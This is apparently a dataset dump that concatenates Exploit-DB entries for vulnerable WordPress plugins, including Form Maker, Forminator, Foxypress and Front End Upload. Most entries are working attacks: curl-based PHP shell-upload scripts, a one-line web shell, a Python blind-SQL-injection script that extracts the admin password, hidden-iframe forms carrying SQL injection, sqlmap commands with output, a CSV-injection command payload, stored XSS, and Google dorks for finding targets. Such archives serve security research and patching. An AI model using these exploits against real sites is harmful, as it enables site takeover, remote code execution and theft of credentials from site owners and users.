deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18994
Description: WordPress Plugin Font Uploader 1.2.4 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-06
Author: Sammy FORGIT

Exploit:
##################################################
# Description : Wordpress Plugins - WordPress Font Uploader Shell Upload
Vulnerability
# Version : 1.2.4
# Link : http://wordpress.org/extend/plugins/font-uploader/
# Plugins : http://downloads.wordpress.org/plugin/font-uploader.1.2.4.zip
# Date : 01-06-2012
# Google Dork : inurl:/wp-content/plugins/font-uploader/
# Author : Sammy FORGIT - sam at opensyscom dot fr -
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php.ttf";
$ch =
curl_init("http://server/wordpress/wp-content/plugins/font-uploader/font-upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('font'=>"@$uploadfile",
'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/plugins/font-uploader/fonts/lo.php.ttf

lo.php.ttf
<?php
phpinfo();
?>
Exploit-DB #44559
Description: WordPress Plugin Form Maker 1.12.20 - CSV Injection
Type: webapps
Platform: php
Date: 2018-04-30
Author: Sairam Jetty

Exploit:
# Exploit Title: Wordpress Plugin Form Maker version 1.12.20 vulnerable to to Formula Injection (CSV Injection)
# Google Dork: N/A
# Date: 27-04-2018
################################
# Exploit Author: Jetty Sairam
################################
# Software Link: https://wordpress.org/plugins/form-maker/
# Affected Version: 1.12.20 and before
#Category: Plugins and Extensions
# Tested on: WiN7_x64
# CVE : CVE-2018-10504

1. Application Description:
Form Maker provides a framework to build custom forms for Joomla users.
2. Technical Description:
Custom Forms version 1.12.20 is affected by the vulnerability Remote Command Execution using CSV Injection. This allows a public user to inject commands as a part of form fields and when a user with higher privilege exports the form data in CSV opens the file on their machine, the command is executed.
3. Proof Of Concept:
Enter the payload @SUM(1+1)*cmd|' /C calc'!A0 in the form fields and submit.
When high privileged user logs into the application to export form data in CSV and opens the file.
Formula gets executed and calculator will get popped in his machine.
4. Solution:
Upgrade to version 1.12.24
https://wordpress.org/plugins/form-maker/
5. Reference:
https://wordpress.org/plugins/form-maker/#developers
Exploit-DB #44853
Description: WordPress Plugin Form Maker 1.12.24 - SQL Injection
Type: webapps
Platform: php
Date: 2018-06-07
Author: defensecode

Exploit:
# Title: WordPress Form Maker Plugin 1.12.24 - SQL Injection
# Date: 2018-06-07
# Author: Neven Biruski
# Software: WordPress Form Maker plugin
# https://wordpress.org/plugins/form-maker/
# Version: 1.12.24 and below
# Vendor Status: Vendor contacted, update released

# The easiest way to reproduce the SQL injection vulnerabilities is to
# open the presented HTML/JavaScript snippet in your browser while being
# logged in as administrator or another user that is authorized to
# access the plugin settings page. Users that do not have full
# administrative privileges could abuse the database access the
# vulnerabilities provide to either escalate their privileges or obtain
# and modify database contents they were not supposed to be able to.

# PoC 1

<iframe style="display:none" name="invisible"></iframe>
<form id="form" method="POST" action="http://vulnerablesite.com/wp-admin/admin-ajax.php?action=FormMakerSQLMapping&task=db_table_struct"
target="invisible">
<input type="hidden" name="name" value="wp_users WHERE 42=42 AND SLEEP(42)--;"/>
</form>
<script>
 document.getElementById("form").submit();
 sleep(3000);
</script>

# PoC 2

<iframe style="display:none" name="invisible"></iframe>
<form id="form" method="POST" action="http://vulnerablesite.com/wp-admin/admin-ajax.php?form_id=6&send_header=0&action=generete_csv&limitstart=0"
target="invisible">
<input type="hidden" name="search_labels" value="2) AND (SELECT * FROM (SELECT(SLEEP(42)))XXX)-- XXX"/>
</form>
<script>
 document.getElementById("form").submit();
 sleep(3000);
</script>
Exploit-DB #46958
Description: WordPress Plugin Form Maker 1.13.3 - SQL Injection
Type: webapps
Platform: php
Date: 2019-06-03
Author: Daniele Scanu

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: WordPress Plugin Form Maker 1.13.3 - SQL Injection
# Date: 22-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://10web.io/plugins/
# Software Link: https://wordpress.org/plugins/form-maker/
# Version: 1.13.3
# Tested on: Ubuntu 18.04
# CVE : CVE-2019-10866

import requests
import time

url_vuln = 'http://localhost/wordpress/wp-admin/admin.php?page=submissions_fm&task=display&current_id=2&order_by=group_id&asc_or_desc='
session = requests.Session()
dictionary = '@._-$/\\"£%&;§+*[PII_REDACTED]qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
flag = True
username = "username"
[CREDENTIAL_REDACTED]"
temp_password = ""
TIME = 0.5

def login(username, password):
    payload = {
        'log': username,
        'pwd': password,
        'wp-submit': 'Login',
        'redirect_to': 'http://localhost/wordpress/wp-admin/',
        'testcookie': 1
    }
    session.post('http://localhost/wordpress/wp-login.php', data=payload)

def print_string(str):
    print "\033c"
    print str

def get_admin_pass():
    len_pwd = 1
    global flag
    global temp_password
    while flag:
        flag = False
        ch_temp = ''
        for ch in dictionary:
            print_string("[*] Password dump: " + temp_password + ch)
            ch_temp = ch
            start_time = time.time()
            r = session.get(url_vuln + ',(case+when+(select+ascii(substring(user_pass,' + str(len_pwd) + ',' + str(len_pwd) + '))+from+wp_users+where+id%3d1)%3d' + str(ord(ch)) + '+then+(select+sleep(' + str(TIME) + ')+from+wp_users+limit+1)+else+2+end)+asc%3b')
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            temp_password += ch_temp
            len_pwd += 1

login(username, password)
get_admin_pass()
print_string("[+] Password found: " + temp_password)
Exploit-DB #48509
Description: WordPress Plugin Form Maker 5.4.1 - 's' SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2020-05-25
Author: SunCSR

Exploit:
# Exploit Title: Wordpress Plugin Form Maker 5.4.1 - 's' SQL Injection (Authenticated)
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Date: 2020 - 5 - 22
# Vender Homepage: https://help.10web.io/
# Version: <= 5.4.1
# Tested on: Ubuntu 18.04

Description:
SQL injection in the Form Maker by 10Web WordPress Plugin before 5.4.1
exists via the /wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=1" s
parameter.

Poc:
GET /wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=1" HTTP/1.1
Host: test-wp.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
Firefox/76.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie:
wordpress_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C[PII_REDACTED]%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C96d43f4ee5cf009365c9722f461d538f96a[PII_REDACTED]9cb6fb7a9f54edac171;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C[PII_REDACTED]%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C9a63283d84855ed6eeae8e4b5f3a405fba003ddd15748bf5cdca5caaca228a19;
wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=[PII_REDACTED];
PHPSESSID=5bpdr8tbj5furvccoadjjj2sgb
Upgrade-Insecure-Requests: 1

SQLMap using:
sqlmap -u '
http://test-wp.com:80/wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=123'
--cookie='wordpress_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C[PII_REDACTED]%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C96d43f4ee5cf009365c9722f461d538f96a[PII_REDACTED]9cb6fb7a9f54edac171;wordpress_test_cookie=WP+Cookie+check;wordpress_logged_in_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C[PII_REDACTED]%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C9a63283d84855ed6eeae8e4b5f3a405fba003ddd15748bf5cdca5caaca228a19;wp-settings-1=libraryContent%3Dbrowse;wp-settings-time-1=[PII_REDACTED];PHPSESSID=5bpdr8tbj5furvccoadjjj2sgb'

Parameter: s (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: page=blocked_ips_fm&s=-1027" OR 8913=8913#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: page=blocked_ips_fm&s=123" AND (SELECT 2867 FROM(SELECT
COUNT(*),CONCAT(0x717a707871,(SELECT
(ELT(2867=2867,1))),0x71787a7671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- TxQH

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: page=blocked_ips_fm&s=123" AND SLEEP(5)-- oPEC
---
[17:20:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0
Exploit-DB #30002
Description: WordPress Plugin Formcraft - SQL Injection
Type: webapps
Platform: php
Date: 2013-12-02
Author: Ashiyane Digital Security Team

Exploit:
#######################################################################
# Exploit Title : Wordpress formcraft Plugin Sql Injection
#
# Exploit Author : Ashiyane Digital Security Team
#
# Google Dork : inurl:/wp-content/plugins/formcraft
#
# Software Link : www.wordpress.org
#
# Tested on: Windows , Linux
#
# Date: 2013/12/2
#
#############################################
# Exploit : Sql Injection
#
# Location1:
[Target]/wp-content/plugins/formcraft/form.php?id=[Sql]
#
#
#
# Exploit-DB Note:
# A PoC: form.php?id=1%20and%20 1=1
##########################################

##############
Milad Hacking

We Love Mohammad
##############
Exploit-DB #51664
Description: WordPress Plugin Forminator 1.24.6 - Unauthenticated Remote Command Execution
Type: webapps
Platform: php
Date: 2023-08-04
Author: Mehmet Kelepçe

Exploit:
# Exploit Title: WordPress Plugin Forminator 1.24.6 - Unauthenticated Remote Command Execution
# Date: 2023-07-20
# Exploit Author: Mehmet Kelepçe
# Vendor Homepage: https://wpmudev.com/project/forminator-pro/
# Software Link: https://wordpress.org/plugins/forminator/
# Version: 1.24.6
# Tested on: PHP - Mysql - Apache2 - Windows 11

HTTP Request and vulnerable parameter:
-------------------------------------------------------------------------
POST /3/wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 1756
sec-ch-ua:
Accept: */*
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryTmsFfkbegmAjomne
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199
Safari/537.36
sec-ch-ua-platform: ""
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/3/wordpress/2023/01/01/merhaba-dunya/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wp-settings-time-1=[PII_REDACTED];
wordpress_test_cookie=WP%20Cookie%20check; wp_lang=tr_TR
Connection: close

.
.
.
.
.

------WebKitFormBoundaryTmsFfkbegmAjomne
Content-Disposition: form-data; name="postdata-1-post-image";
filename="mehmet.php"
Content-Type: application/octet-stream

<?php
$_GET['function']($_GET['cmd']);
?>



Source Code:
wp-content/plugins/forminator/library/modules/custom-forms/front/front-render.php:
--------------------------------------------------------------------
        public function has_upload() {
$fields = $this->get_fields();

if ( ! empty( $fields ) ) {
foreach ( $fields as $field ) {
if ( 'upload' === $field['type'] || 'postdata' === $field['type'] ) {
return true;
}
}
}

return false;
}
Vulnerable parameter: postdata-1-post-image

and


Source code:
wp-content/plugins/forminator/library/fields/postdata.php:
-------------------------------------------------------------------
if ( ! empty( $post_image ) && isset( $_FILES[ $image_field_name ] ) ) {
if ( isset( $_FILES[ $image_field_name ]['name'] ) && ! empty(
$_FILES[ $image_field_name ]['name'] ) ) {
$file_name = sanitize_file_name( $_FILES[ $image_field_name ]['name'] );
$valid     = wp_check_filetype( $file_name );

if ( false === $valid['ext'] || ! in_array( $valid['ext'],
$this->image_extensions ) ) {
$this->validation_message[ $image_field_name ] = apply_filters(
'forminator_postdata_field_post_image_nr_validation_message',
esc_html__( 'Uploaded file\'s extension is not allowed.', 'forminator' ),
$id
);
}
}
}

Vulnerable function: $image_field_name
-------------------------------------------------------------------------

Payload file: mehmet.php
<?php
$_GET['function']($_GET['cmd']);
?>
-------------------------------------------------------------------------
Exploit-DB #17684
Description: WordPress Plugin Forum 1.7.8 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-18
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress WP Forum plugin <= 1.7.8 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wpforum.1.7.8.zip
# Version: 1.7.8 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/wpforum/sendmail.php?action=quote&id=-1 UNION ALL SELECT @@version,2,3

---------------
Vulnerable code
---------------
...

else if(isset($_GET['action']) && $_GET['action'] == 'quote'){
	
	global $wpdb, $table_posts;
	$id = $_GET['id'];

	$text = $wpdb->get_row("SELECT text, author_id, date FROM $table_posts WHERE id = $id");
	$u = new WP_user($text->author_id);
	echo htmlentities("<blockquote><b>QUOTE</b> ($u->nickname @ ".date(get_option('forum_date_format'), strtotime($text->date)).")\n $text->text</blockquote>");
Exploit-DB #16235
Description: WordPress Plugin Forum Server 1.6.5 - SQL Injection
Type: webapps
Platform: php
Date: 2011-02-24
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22851
Reference: http://www.htbridge.ch/advisory/sql_injection_in_wp_forum_server_wordpre
ss_plugin_1.html
Product: WP Forum Server wordpress plugin
Vendor: VastHTML
Vulnerable Version: 1.6.5
Vendor Notification: 10 February 2011
Vulnerability Type: SQL Injection
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "search_max" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

<form action="http://[host]/?page_id=[page_id]&vasthtmlaction=search" method="post" name="main" >
<input type="hidden" name="search_words" value="123" />
<input type="hidden" name="search_submit" value="Search forums" />
<input type="hidden" name="search_user" value="*" />
<input type="hidden" name="search_min" value="0" />
<input type="hidden" name="search_max" value="9999 DAY) union select version(),2,3,4 -- " />
<input type="submit" value="search" name="submit" />
</form>

Vulnerability ID: HTB22850
Reference: http://www.htbridge.ch/advisory/sql_injection_in_wp_forum_server_wordpre
ss_plugin.html
Product: WP Forum Server wordpress plugin
Vendor: VastHTML ( http://lucidcrew.com/ )
Vulnerable Version: 1.6.5
Vendor Notification: 10 February 2011
Vulnerability Type: SQL Injection
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/wp-content/plugins/forum-server/feed.php" script to properly sanitize user-supplied input in "topic" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

http://[host]/wp-content/plugins/forum-server/feed.php?topic=1%20union%2
0select%20version%28%29%20--
Exploit-DB #17828
Description: WordPress Plugin Forum Server 1.7 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-13
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress WP Forum Server plugin <= 1.7 SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/forum-server.zip
# Version: 1.7 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php
 edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1

e.g.
curl --data "edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1" http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php

---------------
Vulnerable code
---------------
if(isset($_POST['edit_post_submit'])){
    $subject = $vasthtml->input_filter($_POST['edit_post_subject']);
    $content = $vasthtml->input_filter($_POST['message']);
    $thread = $vasthtml->check_parms($_POST['thread_id']);
    $edit_post_id = $_POST['edit_post_id'];
    ...    
    $sql = ("UPDATE $vasthtml->t_posts SET text = '".stripslashes($content)."', subject = '".stripslashes($subject)."' WHERE id = $edit_post_id");
    $wpdb->query($sql);
Exploit-DB #18991
Description: WordPress Plugin Foxypress 0.4.1.1 < 0.4.2.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-05
Author: Sammy FORGIT

Exploit:
##################################################
# Description : Wordpress Plugins - Foxypress Shell Upload Vulnerability
# Version : 0.4.1.1 - 0.4.2.1
# Link : http://wordpress.org/extend/plugins/foxypress/
# Plugins : http://downloads.wordpress.org/plugin/foxypress.zip
# Date : 26-05-2012
# Google Dork : inurl:/wp-content/plugins/foxypress/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/foxypress/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : $postResult output

lo.php
<?php
phpinfo();
?>
Exploit-DB #37132
Description: WordPress Plugin Free Counter 1.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-05-27
Author: Panagiotis Vagenas

Exploit:
# Exploit Title: WordPress Free Counter Plugin [Stored XSS]
# Date: 2015/05/25
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://www.free-counter.org
# Software Link: https://wordpress.org/plugins/free-counter/
# Version: 1.1
# Tested on: WordPress 4.2.2
# Category: webapps
# CVE: CVE-2015-4084

1. Description

Any authenticated or non-authenticated user can perform a stored XSS 
attack simply by exploiting wp_ajax_nopriv_check_stat action.
Plugin uses a widget to display website's visits, so any page that 
contains this widget will also load the malicious JS code.

2. Proof of Concept

* Send a post request to `http://www.free-counter.org/Api.php` in order 
to reveal the counter id of the vulnerable site. The POST data must 
contain the following vars: 
`action=create_new_counter&site_url=http%3A%2f%my.vulnerable.website.com`
* As a response we get a serialized indexed array. The value that we 
need to know is the 'counter_id'.
* Send a post request to 
`http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: 
`action=check_stat&id_counter=<counter_id from step 
2>&value_=<script>alert(1)</script>`
* Visit a page of the infected website that displays plugin's widget.

Note that the plugin uses the update_option function to store the 
$_POST['value_'] contents to DB so any code inserted there will be 
escaped. Even though a malicious user can omit the quotes in the src 
attr of the script tag. Most modern browsers will treat the tag as they 
were there.

3. Solution

No official solution yet exists.
Exploit-DB #19008
Description: WordPress Plugin Front End Upload 0.5.3 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-07
Author: Adrien Thierry

Exploit:
# Exploit Title: Wordpress front-end-upload 0.5.3 Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/front-end-upload/
# Date: 31/05/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage: http://mondaybynoon.com/20120102/announcing-front-end-upload-wordpress-plugin/
# Software Link: http://downloads.wordpress.org/plugin/front-end-upload.0.5.3.zip
# Version: 0.5.3


*** FRONT-END-UPLOAD PRO is probably vulnerable ***

page upload.php is vulnerable to Remote File Upload. Code :

<?php
$u="whatelse.php";
$c = curl_init("http://server/wp-content/plugins/front-end-upload/upload.php");
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array('file'=>"@$u",'name'=>"shell.php"));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$e = curl_exec($c);
curl_close($c);
echo $e; 
?>


If plugin isn't active, shell could be found at :
	http://server/wp-content/plugins/front-end-upload/FEU_DESTINATION_DIR/shell.php
else
	http://server/wp-content/uploads/iti_feu_uploads/shell.php
	
#########################################################################################
Exploit-DB #20083
Description: WordPress Plugin Front End Upload 0.5.4.4 - Arbitrary '.PHP' File Upload
Type: webapps
Platform: php
Date: 2012-07-24
Author: Chris Kellum

Exploit:
# Exploit Title: WordPress Front End Upload v0.5.4.4 Arbitrary PHP File Upload Vulnerability
# Date: 7/23/12
# Exploit Author: Chris Kellum
# Vendor Homepage: http://mondaybynoon.com/
# Software Link: http://downloads.wordpress.org/plugin/front-end-upload.0.5.4.4.zip
# Version: 0.5.4.4



=====================
Vulnerability Details
=====================

Plugin does not properly filter filetypes, which allows for the upload of filetypes in the following format:

     filename.php.jpg

Vulnerable hosts will serve such files as a php file, allowing for malicious files to be uploaded and executed.

In creating the uploads folder for this plugin, the code utilizes uniqid to add a unique string to the upload folder name in order to better hide it from direct access.

Example:

     /wp-content/uploads/feu_9fc12558ac71e6995808cfc590207e87/

However, many WordPress installations allow direct access to the /wp-content/uploads/ folder, so simply look for a folder name beginning with 'feu_' to locate your upload.

===================
Disclosure Timeline
===================

7/13/2012 - Vendor notified
7/23/2012 - Version 0.5.4.6 released
7/23/2012 - Public disclosure